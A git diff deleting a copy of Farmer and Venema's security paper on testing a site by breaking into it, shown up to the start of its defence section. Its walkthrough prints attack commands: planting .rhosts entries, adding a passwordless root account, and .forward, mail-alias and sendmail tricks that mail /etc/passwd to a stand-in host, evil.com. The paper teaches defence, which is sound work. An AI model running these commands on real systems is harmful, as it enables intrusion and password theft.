Removed md directories and moved files

That was confusing

1 files changed, 0 insertions, 1120 deletions

diff --git a/.md/thoughts/txt/textfiles.com/break_into_your_site.txt b/.md/thoughts/txt/textfiles.com/break_into_your_site.txt
deleted file mode 100644
index 653e686..0000000
--- a/.md/thoughts/txt/textfiles.com/break_into_your_site.txt
+++ /dev/null
@@ -1,1120 +0,0 @@
-
-_Improving the Security of Your Site by Breaking Into it_
-
-
-  Dan Farmer                      Wietse Venema
-
-  Sun Microsystems                Eindhoven University of Technology
-  2550 garcia ave MS PAL1-407     P.O. Box 513, 5600 MB
-  Mountain View CA 94043          Eindhoven, NL
-
-  zen@sun.com                     wietse@wzv.win.tue.nl
-
-
-Introduction
-------------
-
-Every day, all over the world, computer networks and hosts are being
-broken into.  The level of sophistication of these attacks varies
-widely; while it is generally believed that most break-ins succeed due
-to weak passwords, there are still a large number of intrusions that use
-more advanced techniques to break in.  Less is known about the latter
-types of break-ins, because by their very nature they are much harder to
-detect.
-
------
-
-CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
-Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
-on the Internet (and many that isn't) seems to be fairly easy game.  Are
-these targets unusual?  What happened?
-
-Fade to...
-
-A young boy, with greasy blonde hair, sitting in a dark room.  The room
-is illuminated only by the luminescense of the C64's 40 character
-screen.  Taking another long drag from his Benson and Hedges cigarette,
-the weary system cracker telnets to the next faceless ".mil" site on his
-hit list.  "guest -- guest", "root -- root", and "system -- manager" all
-fail.  No matter.  He has all night... he pencils the host off of his
-list, and tiredly types in the next potential victim...
-
-This seems to be the popular image of a system cracker.  Young,
-inexperienced, and possessing vast quantities of time to waste, to get
-into just one more system.  However, there is a far more dangerous type
-of system cracker out there.  One who knows the ins and outs of the
-latest security auditing and cracking tools, who can modify them for
-specific attacks, and who can write his/her own programs.  One who not
-only reads about the latest security holes, but also personally
-discovers bugs and vulnerabilities.  A deadly creature that can both
-strike poisonously and hide its tracks without a whisper or hint of a
-trail.  The uebercracker is here.
-
------
-
-Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
-uebermensch, or, literally translated into English, "over man."
-Nietzsche used the term not to refer to a comic book superman, but
-instead a man who had gone beyond the incompetence, pettiness, and
-weakness of the everyday man.  The uebercracker is therefore the system
-cracker who has gone beyond simple cookbook methods of breaking into
-systems.  An uebercracker is not usually motivated to perform random
-acts of violence.  Targets are not arbitrary -- there is a purpose,
-whether it be personal monetary gain, a hit and run raid for
-information, or a challenge to strike a major or prestigious site or
-net.personality.  An uebercracker is hard to detect, harder to stop, and
-hardest to keep out of your site for good.
-
-Overview
---------
-
-In this paper we will take an unusual approach to system security.
-Instead of merely saying that something is a problem, we will look
-through the eyes of a potential intruder, and show _why_ it is one.  We
-will illustrate that even seemingly harmless network services can become
-valuable tools in the search for weak points of a system, even when
-these services are operating exactly as they are intended to.
-
-In an effort to shed some light on how more advanced intrusions occur,
-this paper outlines various mechanisms that crackers have actually used
-to obtain access to systems and, in addition, some techniques we either
-suspect intruders of using, or that we have used ourselves in tests or
-in friendly/authorized environments.
-
-Our motivation for writing this paper is that system administrators are
-often unaware of the dangers presented by anything beyond the most
-trivial attacks.  While it is widely known that the proper level of
-protection depends on what has to be protected, many sites appear to
-lack the resources to assess what level of host and network security is
-adequate.  By showing what intruders can do to gain access to a remote
-site, we are trying to help system administrators to make _informed_
-decisions on how to secure their site -- or not.  We will limit the
-discussion to techniques that can give a remote intruder access to a
-(possibly non-interactive) shell process on a UNIX host.  Once this is
-achieved, the details of obtaining root privilege are beyond the scope
-of this work -- we consider them too site-dependent and, in many cases,
-too trivial to merit much discussion.
-
-We want to stress that we will not merely run down a list of bugs or
-security holes -- there will always be new ones for a potential attacker
-to exploit.  The purpose of this paper is to try to get the reader to
-look at her or his system in a new way -- one that will hopefully afford
-him or her the opportunity to _understand_ how their system can be
-compromised, and how.
-
-We would also like to reiterate to the reader that the purpose of this
-paper is to show you how to test the security of your own site, not how
-to break into other people's systems.  The intrusion techniques we
-illustrate here will often leave traces in your system auditing logs --
-it might be constructive to examine them after trying some of these
-attacks out, to see what a real attack might look like.  Certainly other
-sites and system administrators will take a very dim view of your
-activities if you decide to use their hosts for security testing without
-advance authorization; indeed, it is quite possible that legal action
-may be pursued against you if they perceive it as an attack.
-
-There are four main parts to the paper.  The first part is the
-introduction and overview.  The second part attempts to give the reader
-a feel for what it is like to be an intruder and how to go from knowing
-nothing about a system to compromising its security.  This section goes
-over actual techniques to gain information and entrance and covers basic
-strategies such as exploiting trust and abusing improperly configured
-basic network services (ftp, mail, tftp, etc.)  It also discusses
-slightly more advanced topics, such as NIS and NFS, as well as various
-common bugs and configuration problems that are somewhat more OS or
-system specific.  Defensive strategies against each of the various
-attacks are also covered here.
-
-The third section deals with trust: how the security of one system
-depends on the integrity of other systems.  Trust is the most complex
-subject in this paper, and for the sake of brevity we will limit the
-discussion to clients in disguise.
-
-The fourth section covers the basic steps that a system administrator
-may take to protect her or his system.  Most of the methods presented
-here are merely common sense, but they are often ignored in practice --
-one of our goals is to show just how dangerous it can be to ignore basic
-security practices.
-
-Case studies, pointers to security-related information, and software are
-described in the appendices at the end of the paper.
-
-While exploring the methods and strategies discussed in this paper we we
-wrote SATAN (Security Analysis Tool for Auditing Networks.)  Written in
-shell, perl, expect and C, it examines a remote host or set of hosts and
-gathers as much information as possible by remotely probing NIS, finger,
-NFS, ftp and tftp, rexd, and other services.  This information includes
-the presence of various network information services as well as
-potential security flaws -- usually in the form of incorrectly setup or
-configured network services, well-known bugs in system or network
-utilities, or poor or ignorant policy decisions.  It then can either
-report on this data or use an expert system to further investigate any
-potential security problems.  While SATAN doesn't use all of the methods
-that we discuss in the paper, it has succeeded with ominous regularity
-in finding serious holes in the security of Internet sites.  It will be
-posted and made available via anonymous ftp when completed; Appendix A
-covers its salient features.
-
-Note that it isn't possible to cover all possible methods of breaking
-into systems in a single paper.  Indeed, we won't cover two of the most
-effective methods of breaking into hosts: social engineering and
-password cracking.  The latter method is so effective, however, that
-several of the strategies presented here are geared towards acquiring
-password files.  In addition, while windowing systems (X, OpenWindows,
-etc.) can provide a fertile ground for exploitation, we simply don't
-know many methods that are used to break into remote systems.  Many
-system crackers use non-bitmapped terminals which can prevent them from
-using some of the more interesting methods to exploit windowing systems
-effectively (although being able to monitor the victim's keyboard is
-often sufficient to capture passwords).  Finally, while worms, viruses,
-trojan horses, and other malware are very interesting, they are not
-common (on UNIX systems) and probably will use similar techniques to the
-ones we describe in this paper as individual parts to their attack
-strategy.
-
-Gaining Information
--------------------
-
-Let us assume that you are the head system administrator of Victim
-Incorporated's network of UNIX workstations.  In an effort to secure
-your machines, you ask a friendly system administrator from a nearby
-site (evil.com) to give you an account on one of her machines so that
-you can look at your own system's security from the outside.
-
-What should you do?  First, try to gather information about your
-(target) host.  There is a wealth of network services to look at:
-finger, showmount, and rpcinfo are good starting points.  But don't stop
-there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
-and as many other services as you can find.  There are so many methods
-and techniques that space precludes us from showing all of them, but we
-will try to show a cross-section of the most common and/or dangerous
-strategies that we have seen or have thought of.  Ideally, you would
-gather such information about all hosts on the subnet or area of attack
--- information is power -- but for now we'll examine only our intended
-target.
-
-To start out, you look at what the ubiquitous finger command shows you
-(assume it is 6pm, Nov 6, 1993):
-
- victim % finger @victim.com
- [victim.com]
- Login       Name             TTY Idle     When    Where
- zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
-
-Good!  A single idle user -- it is likely that no one will notice if you
-actually manage to break in.
-
-Now you try more tactics.  As every finger devotee knows, fingering "@",
-"0", and "", as well as common names, such as root, bin, ftp, system,
-guest, demo, manager, etc., can reveal interesting information.  What
-that information is depends on the version of finger that your target is
-running, but the most notable are account names, along with their home
-directories and the host that they last logged in from.
-
-To add to this information, you can use rusers (in particular with the
--l flag) to get useful information on logged-in users.
-
-Trying these commands on victim.com reveals the following information,
-presented in a compressed tabular form to save space:
-
- Login   Home-dir    Shell      Last login, from where
- -----   --------    -----      ----------------------
- root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
- bin     /bin                   Never logged in
- nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
- daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
- sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
- zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
- sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
- guest   /export/foo /bin/sh    Never logged in
- ftp     /home/ftp              Never logged in
-
-Both our experiments with SATAN and watching system crackers at work
-have proved to us that finger is one of the most dangerous services,
-because it is so useful for investigating a potential target.  However,
-much of this information is useful only when used in conjunction with
-other data.
-
-For instance, running showmount on your target reveals:
-
- evil % showmount -e victim.com
- export list for victim.com:
- /export                            (everyone)
- /var                               (everyone)
- /usr                               easy
- /export/exec/kvm/sun4c.sunos.4.1.3 easy
- /export/root/easy                  easy
- /export/swap/easy                  easy
-
-Note that /export/foo is exported to the world; also note that this is
-user guest's home directory.  Time for your first break-in!  In this
-case, you'll mount the home directory of user "guest."  Since you don't
-have a corresponding account on the local machine and since root cannot
-modify files on an NFS mounted filesystem, you create a "guest" account
-in your local password file.  As user guest you can put an .rhosts entry
-in the remote guest home directory, which will allow you to login to the
-target machine without having to supply a password.
-
- evil # mount victim.com:/export/foo /foo
- evil # cd /foo
- evil # ls -lag
- total 3
-    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
-    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
-    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
- evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
- evil # ls -lag
- total 3
-    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
-    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
-    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
- evil # su guest
- evil % echo evil.com >> guest/.rhosts
- evil % rlogin victim.com
-	 Welcome to victim.com!
- victim %
-
-If, instead of home directories, victim.com were exporting filesystems
-with user commands (say, /usr or /usr/local/bin), you could replace a
-command with a trojan horse that executes any command of your choice.
-The next user to execute that command would execute your program.
-
-We suggest that filesystems be exported:
-
-o   Read/write only to specific, trusted clients.
-o   Read-only, where possible (data or programs can often be
-    exported in this manner.)
-
-If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
-various vendor's machines) or has the netgroups bug (CERT advisory
-91:12), any non-root user with a login name in the target's password
-file can rlogin to the target without a password.  And since the user
-"bin" often owns key files and directories, your next attack is to try
-to log in to the target host and modify the password file to let you
-have root access:
-
- evil % whoami
- bin
- evil % rsh victim.com csh -i
- Warning: no access to tty; thus no job control in this shell...
- victim %  ls -ldg /etc
- drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
- victim %  cd /etc
- victim %  mv passwd pw.old
- victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
- victim % ^D
- evil % rlogin victim.com -l toor
-	 Welcome to victim.com!
- victim #
-
-A few notes about the method used above; "rsh victim.com csh -i" is used
-to initially get onto the system because it doesn't leave any traces in
-the wtmp or utmp system auditing files, making the rsh invisible for
-finger and who.  The remote shell isn't attached to a pseudo-terminal,
-however, so that screen-oriented programs such as pagers and editors
-will fail -- but it is very handy for brief exploration.
-
-The COPS security auditing tool (see appendix D) will report key files
-or directories that are writable to accounts other than the
-superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
-file permission problems. On many systems, rsh probes as shown above,
-even when successful, would remain completely unnoticed; the tcp wrapper
-(appendix D), which logs incoming connections, can help to expose such
-activities.
-
-----
-
-What now?  Have you uncovered all the holes on your target system?  Not
-by a long shot.  Going back to the finger results on your target, you
-notice that it has an "ftp" account, which usually means that anonymous
-ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
-is often misconfigured.  For example, the target may have a complete
-copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
-instead of a stripped down version.  In this example, though, you see
-that the latter doesn't seem to be true (how can you tell without
-actually examining the file?)  However, the home directory of ftp on
-victim.com is writable.  This allows you to remotely execute a command
--- in this case, mailing the password file back to yourself -- by the
-simple method of creating a .forward file that executes a command when
-mail is sent to the ftp account. This is the same mechanism of piping
-mail to a program that the "vacation" program uses to automatically
-reply to mail messages.
-
- evil % cat forward_sucker_file
- "|/bin/mail zen@evil.com < /etc/passwd"
-
- evil % ftp victim.com
- Connected to victim.com
- 220 victim FTP server ready.
- Name (victim.com:zen): ftp
- 331 Guest login ok, send ident as password.
- Password:
- 230 Guest login ok, access restrictions apply.
- ftp> ls -lga
- 200 PORT command successful.
- 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
- total 5
- drwxr-xr-x  4 101      1             512 Jun 20  1991 .
- drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
- drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
- drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
- drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
- 226 ASCII Transfer complete.
- 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
- ftp> put forward_sucker_file .forward
- 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
- ftp> quit
- evil % echo test | mail ftp@victim.com
-
-Now you simply wait for the password file to be sent back to you.
-
-The security auditing tool COPS will check your anonymous ftp setup; see
-the man page for ftpd, the documentation/code for COPS, or CERT advisory
-93:10 for information on how to set up anonymous ftp correctly.
-Vulnerabilities in ftp are often a matter of incorrect ownership or
-permissions of key files or directories. At the very least, make sure
-that ~ftp and all "system" directories and files below ~ftp are owned by
-root and are not writable by any user.
-
-While looking at ftp, you can check for an older bug that was once
-widely exploited:
-
- % ftp -n
- ftp> open victim.com
- Connected to victim.com
- 220 victim.com FTP server ready.
- ftp> quote user ftp
- 331 Guest login ok, send ident as password.
- ftp> quote cwd ~root
- 530 Please login with USER and PASS.
- ftp> quote pass ftp
- 230 Guest login ok, access restrictions apply.
- ftp> ls -al / (or whatever)
-
-If this works, you now are logged in as root, and able to modify the
-password file, or whatever you desire.  If your system exhibits this
-bug, you should definitely get an update to your ftpd daemon, either
-from your vendor or (via anon ftp) from ftp.uu.net.
-
-The wuarchive ftpd, a popular replacement ftp daemon put out by the
-Washington University in Saint Louis, had almost the same problem.  If
-your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
-more recent version.
-
-Finally, there is a program vaguely similar to ftp -- tftp, or the
-trivial file transfer program.  This daemon doesn't require any password
-for authentication; if a host provides tftp without restricting the
-access (usually via some secure flag set in the inetd.conf file), an
-attacker can read and write files anywhere on the system. In the
-example, you get the remote password file and place it in your local
-/tmp directory:
-
- evil % tftp
- tftp> connect victim.com
- tftp> get /etc/passwd /tmp/passwd.victim
- tftp> quit
-
-For security's sake, tftp should not be run; if tftp is necessary, use
-the secure option/flag to restrict access to a directory that has no
-valuable information, or run it under the control of a chroot wrapper
-program.
-
-----
-
-If none of the previous methods have worked, it is time to go on to more
-drastic measures.  You have a friend in rpcinfo, another very handy
-program, sometimes even more useful than finger.  Many hosts run RPC
-services that can be exploited; rpcinfo can talk to the portmapper and
-show you the way.  It can tell you if the host is running NIS, if it is
-a NIS server or slave, if a diskless workstation is around, if it is
-running NFS, any of the info services (rusersd, rstatd, etc.), or any
-other unusual programs (auditing or security related).  For instance,
-going back to our sample target:
-
- evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
-    program vers proto   port
-     100004    2   tcp    673  ypserv
-     100005    1   udp    721  mountd
-     100003    2   udp   2049  nfs
-     100026    1   udp    733  bootparam
-     100017    1   tcp   1274  rexd
-
-In this case, you can see several significant facts about our target;
-first of which is that it is an NIS server.  It is perhaps not widely
-known, but once you know the NIS domainname of a server, you can get any
-of its NIS maps by a simple rpc query, even when you are outside the
-subnet served by the NIS server (for example, using the YPX program that
-can be found in the comp.sources.misc archives on ftp.uu.net).  In
-addition, very much like easily guessed passwords, many systems use
-easily guessed NIS domainnames.  Trying to guess the NIS domainname is
-often very fruitful. Good candidates are the fully and partially
-qualified hostname (e.g.  "victim" and "victim.com"), the organization
-name, netgroup names in "showmount" output, and so on.  If you wanted to
-guess that the domainname was "victim", you could type:
-
- evil % ypwhich -d victim victim.com
- Domain victim not bound.
-
-This was an unsuccessful attempt; if you had guessed correctly it would
-have returned with the host name of victim.com's NIS server.  However,
-note from the NFS section that victim.com is exporting the "/var"
-directory to the world.  All that is needed is to mount this directory
-and look in the "yp" subdirectory -- among other things you will see
-another subdirectory that contains the domainname of the target.
-
- evil # mount victim.com:/var /foo
- evil # cd /foo
- evil # /bin/ls -alg /foo/yp
- total 17
-    1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
-    1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
-   11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
-    1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
-    2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
-    [...]
-
-In this case, "foo_bar" is the NIS domain name.
-
-In addition, the NIS maps often contain a good list of user/employee
-names as well as internal host lists, not to mention passwords for
-cracking.
-
-Appendix C details the results of a case study on NIS password files.
-
-----
-
-You note that the rpcinfo output also showed that victim.com runs rexd.
-Like the rsh daemon, rexd processes requests of the form "please execute
-this command as that user". Unlike rshd, however, rexd does not care if
-the client host is in the hosts.equiv or .rhost files. Normally the rexd
-client program is the "on" command, but it only takes a short C program
-to send arbitrary client host and userid information to the rexd server;
-rexd will happily execute the command.  For these reasons, running rexd
-is similar to having no passwords at all: all security is in the client,
-not in the server where it should be. Rexd security can be improved
-somewhat by using secure RPC.
-
-----
-
-While looking at the output from rpcinfo, you observe that victim.com
-also seems to be a server for diskless workstations. This is evidenced
-by the presence of the bootparam service, which provides information to
-the diskless clients for booting.  If you ask nicely, using
-BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
-its NIS domainname.  This can be very useful when combined with the fact
-that you can get arbitrary NIS maps (such as the password file) when you
-know the NIS domainname.  Here is a sample code snippet to do just that
-(bootparam is part of SATAN.)
-
-    char   *server;
-    struct bp_whoami_arg arg;           /* query */
-    struct bp_whoami_res res;           /* reply */
- 
-    /* initializations omitted... */
- 
-    callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
-            xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
-
-    printf("%s has nisdomain %s\n", server, res.domain_name);
-
-The showmount output indicated that "easy" is a diskless client of
-victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
-query:
-
- evil % bootparam victim.com easy.victim.com
- victim.com has nisdomain foo_bar
-
-----
-
-NIS masters control the mail aliases for the NIS domain in question.
-Just like local mail alias files, you can create a mail alias that will
-execute commands when mail is sent to it (a once popular example of this
-is the "decode" alias which uudecodes mail files sent to it.)  For
-instance, here you create an alias "foo", which mails the password file
-back to evil.com by simply mailing any message to it:
-
- nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
- nis-master # cd /var/yp
- nis-master # make aliases
- nis-master # echo test | mail -v foo@victim.com
-
-Hopefully attackers won't have control of your NIS master host, but even
-more hopefully the lesson is clear -- NIS is normally insecure, but if
-an attacker has control of your NIS master, then s/he effectively has
-control of the client hosts (e.g. can execute arbitrary commands).
-
-There aren't many effective defenses against NIS attacks; it is an
-insecure service that has almost no authentication between clients and
-servers.  To make things worse, it seems fairly clear that arbitrary
-maps can be forced onto even master servers (e.g., it is possible to
-treat an NIS server as a client). This, obviously, would subvert the
-entire schema.  If it is absolutely necessary to use NIS, choosing a
-hard to guess domainname can help slightly, but if you run diskless
-clients that are exposed to potential attackers then it is trivial for
-an attacker to defeat this simple step by using the bootparam trick to
-get the domainname.  If NIS is used to propagate the password maps, then
-shadow passwords do not give additional protection because the shadow
-map is still accessible to any attacker that has root on an attacking
-host.  Better is to use NIS as little as possible, or to at least
-realize that the maps can be subject to perusal by potentially hostile
-forces.
-
-Secure RPC goes a long way to diminish the threat, but it has its own
-problems, primarily in that it is difficult to administer, but also in
-that the cryptographic methods used within are not very strong.  It has
-been rumored that NIS+, Sun's new network information service, fixes
-some of these problems, but until now it has been limited to running on
-Suns, and thus far has not lived up to the promise of the design.
-Finally, using packet filtering (at the very least port 111) or
-securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
-all can help.
-
-----
-
-The portmapper only knows about RPC services.  Other network services
-can be located with a brute-force method that connects to all network
-ports.  Many network utilities and windowing systems listen to specific
-ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
-usually on port 6000, etc.)  SATAN includes a program that scans the
-ports of a remote hosts and reports on its findings; if you run it
-against our target, you see:
-
- evil % tcpmap victim.com
- Mapping 128.128.128.1
- port 21: ftp
- port 23: telnet
- port 25: smtp
- port 37: time
- port 79: finger
- port 512: exec
- port 513: login
- port 514: shell
- port 515: printer
- port 6000: (X)
-
-This suggests that victim.com is running X windows.  If not protected
-properly (via the magic cookie or xhost mechanisms), window displays can
-be captured or watched, user keystrokes may be stolen, programs executed
-remotely, etc.  Also, if the target is running X and accepts a telnet to
-port 6000, that can be used for a denial of service attack, as the
-target's windowing system will often "freeze up" for a short period of
-time.  One method to determine the vulnerability of an X server is to
-connect to it via the XOpenDisplay() function; if the function returns
-NULL then you cannot access the victim's display (opendisplay is part of
-SATAN):
-
-    char   *hostname;
-
-    if (XOpenDisplay(hostname) == NULL) {
-       printf("Cannot open display: %s\n", hostname);
-    } else {
-       printf("Can open display: %s\n", hostname);
-    }
-
- evil % opendisplay victim.com:0
- Cannot open display: victim.com:0
-
-X terminals, though much less powerful than a complete UNIX system, can
-have their own security problems.  Many X terminals permit unrestricted
-rsh access, allowing you to start X client programs in the victim's
-terminal with the output appearing on your own screen:
-
- evil % xhost +xvictim.victim.com
- evil % rsh xvictim.victim.com telnet victim.com -display evil.com
-
-In any case, give as much thought to your window security as your
-filesystem and network utilities, for it can compromise your system as
-surely as a "+" in your hosts.equiv or a passwordless (root) account.
-
-----
-
-Next, you examine sendmail.  Sendmail is a very complex program that has
-a long history of security problems, including the infamous "wiz"
-command (hopefully long since disabled on all machines).  You can often
-determine the OS, sometimes down to the version number, of the target,
-by looking at the version number returned by sendmail.  This, in turn,
-can give you hints as to how vulnerable it might be to any of the
-numerous bugs.  In addition, you can see if they run the "decode" alias,
-which has its own set of problems:
-
- evil % telnet victim.com 25
- connecting to host victim.com (128.128.128.1.), port 25
- connection open
- 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
- expn decode
- 250 <"|/usr/bin/uudecode">
- quit
-
-Running the "decode" alias is a security risk -- it allows potential
-attackers to overwrite any file that is writable by the owner of that
-alias -- often daemon, but potentially any user.  Consider this piece of
-mail -- this will place "evil.com" in user zen's .rhosts file if it is
-writable:
-
- evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
-
-If no home directories are known or writable, an interesting variation
-of this is to create a bogus /etc/aliases.pag file that contains an
-alias with a command you wish to execute on your target.  This may work
-since on many systems the aliases.pag and aliases.dir files, which
-control the system's mail aliases, are writable to the world.
-
- evil % cat decode
- bin: "| cat /etc/passwd | mail zen@evil.com"
- evil % newaliases -oQ/tmp -oA`pwd`/decode
- evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
- evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
-
-A lot of things can be found out by just asking sendmail if an address
-is acceptable (vrfy), or what an address expands to (expn).  When the
-finger or rusers services are turned off, vrfy and expn can still be
-used to identify user accounts or targets.  Vrfy and expn can also be
-used to find out if the user is piping mail through any program that
-might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
-good idea to disable the vrfy and expn commands: in most versions, look
-at the source file srvrsmtp.c, and either delete or change the two lines
-in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
-without source can still disable expn and vrfy by just editing the
-sendmail executable with a binary editor and replacing "vrfy" and "expn"
-with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
-also an extremely good idea, since there have probably been more
-security bugs reported in sendmail than in any other UNIX program.
-
-----
-
-As a sendmail-sendoff, there are two fairly well known bugs that should
-be checked into.  The first was definitely fixed in version 5.59 from
-Berkeley; despite the messages below, for versions of sendmail previous
-to 5.59, the "evil.com" gets appended, despite the error messages, along
-with all of the typical mail headers, to the file specified:
-
- % cat evil_sendmail
- telnet victim.com 25 << EOSM
- rcpt to: /home/zen/.rhosts
- mail from: zen
- data
- random garbage
- .
- rcpt to: /home/zen/.rhosts
- mail from: zen
- data
- evil.com
- .
- quit
- EOSM
-
- evil % /bin/sh evil_sendmail
- Trying 128.128.128.1
- Connected to victim.com
- Escape character is '^]'.
- Connection closed by foreign host.
-
- evil % rlogin victim.com -l zen
-	 Welcome to victim.com!
- victim %
-
-The second hole, fixed only recently, permitted anyone to specify
-arbitrary shell commands and/or pathnames for the sender and/or
-destination address.  Attempts to keep details secret were in vain, and
-extensive discussions in mailing lists and usenet news groups led to
-disclosure of how to exploit some versions of the bug.  As with many
-UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
-since they all share a common source code tree ancestry.  Space
-precludes us from discussing it fully, but a typical attack to get the
-password file might look like this:
-
- evil % telnet victim.com 25
- Trying 128.128.128.1...
- Connected to victim.com
- Escape character is '^]'.
- 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
- mail from: "|/bin/mail zen@evil.com < /etc/passwd"
- 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
- rcpt to: nosuchuser
- 550 nosuchuser... User unknown
- data
- 354 Enter mail, end with "." on a line by itself
- .
- 250 Mail accepted
- quit
- Connection closed by foreign host.
- evil %
-
-At the time of writing, version 8.6.4 of sendmail (see Appendix D for
-information on how to get this) is reportedly the only variant of
-sendmail with all of the recent security bugs fixed.
-
-Trust
------
-
-For our final topic of vulnerability, we'll digress from the practical
-strategy we've followed previously to go a bit more into the theoretical
-side, and briefly discuss the notion of trust.  The issues and
-implications of vulnerabilities here are a bit more subtle and
-far-reaching than what we've covered before; in the context of this
-paper we use the word trust whenever there is a situation when a server
-(note that any host that allows remote access can be called a server)
-can permit a local resource to be used by a client without password
-authentication when password authentication is normally required.  In
-other words, we arbitrarily limit the discussion to clients in disguise.
-
-There are many ways that a host can trust: .rhosts and hosts.equiv files
-that allow access without password verification; window servers that
-allow remote systems to use and abuse privileges; export files that
-control access via NFS, and more.
-
-Nearly all of these rely on client IP address to hostname conversion to
-determine whether or not service is to be granted.  The simplest method
-uses the /etc/hosts file for a direct lookup.  However, today most hosts
-use either DNS (the Domain Name Service), NIS, or both for name lookup
-service.  A reverse lookup occurs when a server has an IP address (from
-a client host connecting to it) and wishes to get the corresponding
-client hostname.
-
-Although the concept of how host trust works is well understood by most
-system administrators, the _dangers_ of trust, and the _practical_
-problem it represents, irrespective of hostname impersonation, is one of
-the least understood problems we know of on the Internet.  This goes far
-beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
-systems -- indeed, much of the useful services in UNIX are based on the
-concept that well known (to an administrator or user) sites are trusted
-in some way.  What is not understood is how networking so tightly binds
-security between what are normally considered disjoint hosts.
-
-Any form of trust can be spoofed, fooled, or subverted, especially when
-the authority that gets queried to check the credentials of the client
-is either outside of the server's administrative domain, or when the
-trust mechanism is based on something that has a weak form of
-authentication; both are usually the case.
-
-Obviously, if the host containing the database (either NIS, DNS, or
-whatever) has been compromised, the intruder can convince the target
-host that s/he is coming from any trusted host; it is now sufficient to
-find out which hosts are trusted by the target.  This task is often
-greatly helped by examining where system administrators and system
-accounts (such as root, etc.) last logged in from.  Going back to our
-target, victim.com, you note that root and some other system accounts
-logged in from big.victim.com. You change the PTR record for evil.com so
-that when you attempt to rlogin in from evil.com to victim.com,
-victim.com will attempt to look up your hostname and will find what you
-placed in the record.  If the record in the DNS database looks like:
-
- 1.192.192.192.in-addr.arpa     IN      PTR     evil.com
-
-And you change it to:
-
- 1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
-
-then, depending on how naive victim.com's system software is, victim.com
-will believe the login comes from big.victim.com, and, assuming that
-big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
-able to login without supplying a password.  With NIS, it is a simple
-matter of either editing the host database on the NIS master (if this is
-controlled by the intruder) or of spoofing or forcing NIS (see
-discussion on NIS security above) to supply the target with whatever
-information you desire.  Although more complex, interesting, and
-damaging attacks can be mounted via DNS, time and space don't allow
-coverage of these methods here.
-
-Two methods can be used to prevent such attacks.  The first is the most
-direct, but perhaps the most impractical.  If your site doesn't use any
-trust, you won't be as vulnerable to host spoofing.  The other strategy
-is to use cryptographic protocols.  Using the secure RPC protocol (used
-in secure NFS, NIS+, etc.) is one method; although it has been "broken"
-cryptographically, it still provides better assurance than RPC
-authentication schemes that do not use any form of encryption.  Other
-solutions, both hardware (smartcards) and software (Kerberos), are being
-developed, but they are either incomplete or require changes to system
-software.
-
-Appendix B details the results of an informal survey taken from a
-variety of hosts on the Internet.
-
-Protecting the system
----------------------
-
-It is our hope that we have demonstrated that even some of the most
-seemingly innocuous services run can offer (sometimes unexpectedly)
-ammunition to determined system crackers.  But, of course, if security
-were all that mattered, computers would never be turned on, let alone
-hooked into a network with literally millions of potential intruders.
-Rather than reiterating specific advice on what to switch on or off, we
-instead offer some general suggestions:
-
-o  If you cannot turn off the finger service, consider installing a
-modified finger daemon.  It is rarely necessary to reveal a user's home
-directory and the source of last login.
-
